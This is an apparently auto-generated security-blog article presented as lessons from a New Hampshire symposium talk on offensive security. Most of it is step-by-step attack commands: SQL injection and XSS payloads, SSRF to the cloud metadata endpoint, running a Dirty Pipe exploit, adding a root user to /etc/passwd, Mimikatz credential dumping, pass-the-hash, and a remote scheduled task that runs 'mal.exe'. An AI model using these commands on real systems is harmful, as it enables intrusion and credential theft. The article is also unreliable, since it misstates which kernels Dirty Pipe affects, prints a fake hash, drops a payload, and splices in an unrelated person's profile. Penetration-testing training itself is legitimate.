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Introduction:
Offensive security, the practice of proactively identifying and exploiting vulnerabilities before malicious actors do, is a cornerstone of modern cyber defense. At the recent NH Cybersecurity Symposium hosted by Manchester Community College and the Community College System of New Hampshire (CCSNH), expert Christopher Haller delivered cutting-edge techniques for penetration testing and ethical hacking. This article extracts core lessons from that session, providing hands-on commands, tool configurations, and mitigation strategies across Linux, Windows, and cloud environments.
Learning Objectives:
- Execute reconnaissance and enumeration using Nmap, RustScan, and BloodHound.
- Exploit common web vulnerabilities (SQLi, XSS, SSRF) with manual and automated tools.
- Harden Linux/Windows systems against privilege escalation and lateral movement.
You Should Know:
- Reconnaissance & Network Enumeration: The Art of Finding Hidden Doors
Step‑by‑step guide:
Start with passive OSINT using `theHarvester` or whois, then move to active scanning. Use Nmap to discover live hosts and open ports. For faster scans, RustScan can process thousands of ports per second. Below is a typical workflow:
Passive OSINT theHarvester -d target.com -l 500 -b google,linkedin Active scanning with Nmap nmap -sC -sV -p- -T4 192.168.1.0/24 -oA network_scan Fast port scan with RustScan (then pipe to Nmap for detailed enumeration) rustscan -a 192.168.1.100 --range 1-65535 -- -sC -sV
On Windows, use `Test-NetConnection` for single ports or `PortQry` for advanced scanning:
Test-NetConnection -ComputerName 192.168.1.100 -Port 445 portqry.exe -n 192.168.1.100 -e 445 -p tcp
Interpretation: Open ports like 22 (SSH), 445 (SMB), or 3389 (RDP) are high-value targets. For web servers (80/443), proceed to directory brute‑forcing with `gobuster` or ffuf.
- Web Application Exploitation: SQLi, XSS, and SSRF in Action
Step‑by‑step guide:
Using a test lab (DVWA or HackTheBox), manually test for SQL injection by injecting `’ OR ‘1’=’1` into login fields. Then automate with sqlmap. For cross‑site scripting (XSS), inject `` into input fields. Server‑side request forgery (SSRF) allows internal network scanning via vulnerable web requests.
Automated SQLi with sqlmap
sqlmap -u "http://target.com/page?id=1" --dbs --batch
Directory brute-forcing with ffuf
ffuf -u http://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt
XSS payload testing using a simple Python script
python3 -c "import requests; payload='<script>alert(1)</script>'; r=requests.get('http://target.com/search?q='+payload); print(r.text[:500])"
For Windows, use `Burp Suite` (Community Edition) to intercept requests and manually test SSRF by modifying a `url` parameter to `http://169.254.169.254/latest/meta-data/` (cloud metadata endpoint). Mitigation: Always validate and sanitize user inputs, use parameterized queries, and implement strict allowlists for URLs.
- Privilege Escalation on Linux: Kernel Exploits and Misconfigurations
Step‑by‑step guide:
After gaining low‑privilege access, run enumeration scripts like `LinPEAS` or linux-exploit-suggester. Look for SUID binaries, writable cron jobs, or outdated kernels. Below is a manual escalation path:
Check kernel version for known exploits uname -a Look for SUID binaries find / -perm -4000 -type f 2>/dev/null Exploit Dirty Pipe (CVE-2022-0847) if kernel <5.8 git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git cd CVE-2022-0847-DirtyPipe-Exploits gcc exploit.c -o exploit ./exploit /etc/passwd 1
If you find a writable /etc/passwd, generate a password hash and add a root user:
openssl passwd -1 -salt hacker password echo "hacker:$1$hacker$T9qG9ZQzX5ZxqZqZqZqZq/:0:0:root:/root:/bin/bash" >> /etc/passwd
Mitigation: Keep kernels patched, remove unnecessary SUID bits, and monitor cron scripts.
- Lateral Movement & Active Directory Exploitation (Windows Focus)
Step‑by‑step guide:
After compromising a Windows domain‑joined machine, use `BloodHound` to map AD attack paths. Employ `Mimikatz` to dump credentials from memory, then pass‑the‑hash with `PsExec` or wmiexec.py. Example commands:
Run BloodHound collector on Windows SharpHound.exe -c All --outputdirectory C:\temp Dump LSASS with Mimikatz (requires admin) privilege::debug sekurlsa::logonpasswords Pass-the-hash using Impacket on Linux psexec.py -hashes :aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c [email protected]
For Windows native lateral movement, use `Enter-PSSession` or schtasks:
Create a scheduled task remotely schtasks /CREATE /S 192.168.1.200 /U DOMAIN\user /P password /TN "Task" /TR "C:\mal.exe" /SC ONCE /ST 00:00
Mitigation: Enable LAPS (Local Administrator Password Solution), enforce Credential Guard, and restrict administrative logins.
- Cloud Hardening & API Security: Stopping SSRF and Misconfigured Buckets
Step‑by‑step guide:
Many modern attacks target cloud metadata endpoints and misconfigured S3 buckets. To test for SSRF in cloud environments, inject `http://169.254.169.254/latest/meta-data/` into any URL parameter. Use `ScoutSuite` or `Prowler` to audit AWS/Azure configurations.
Install and run Prowler for AWS git clone https://github.com/prowler-cloud/prowler cd prowler ./prowler -M csv -b my-audit Check for public S3 buckets aws s3 ls s3:// --profile default List bucket ACLs aws s3api get-bucket-acl --bucket vulnerable-bucket --profile default
For API security, test for broken object level authorization (BOLA) by changing ID parameters:
Test with curl curl -X GET "https://api.target.com/user/1234" -H "Authorization: Bearer <token>" Then try /user/1235 – if data returns, BOLA exists
Mitigation: Disable instance metadata access unless required, use IMDSv2, and enforce bucket policies with `Effect: Deny` for public reads.
- Training Courses & Certifications to Master Offensive Security
Step‑by‑step guide:
Based on Tony Moukbel’s profile (57 certifications), a structured learning path includes:
– Entry: CompTIA Security+, Network+
– Intermediate: eJPT (eLearnSecurity Junior Penetration Tester), PNPT (Practical Network Penetration Tester)
– Advanced: OSCP (Offensive Security Certified Professional), OSED, GPEN
– Cloud: AWS Certified Security – Specialty, CCSK
– AI Security: Training on adversarial machine learning (e.g., MITRE ATLAS)
Hands‑on platforms: TryHackMe (free rooms), HackTheBox (Pro Labs), and PortSwigger Web Security Academy. For Linux practice, set up a home lab with VirtualBox and vulnerable VMs (Metasploitable, VulnHub).
What Undercode Say:
- Offensive security is not just about running tools – understanding manual exploitation and mitigation is critical for blue teams.
- The NH Symposium highlighted that community colleges are vital entry points for cybersecurity careers; hands‑on symposia bridge theory and practice.
Prediction:
As AI‑generated code becomes mainstream, offensive security will shift toward exploiting LLM prompt injections and AI pipeline vulnerabilities. Defenders will adopt AI‑driven purple teaming, but human‑led red teaming remains irreplaceable for zero‑day discovery. Expect more regional symposia like CCSNH’s to incorporate cloud and AI security modules within the next 18 months.
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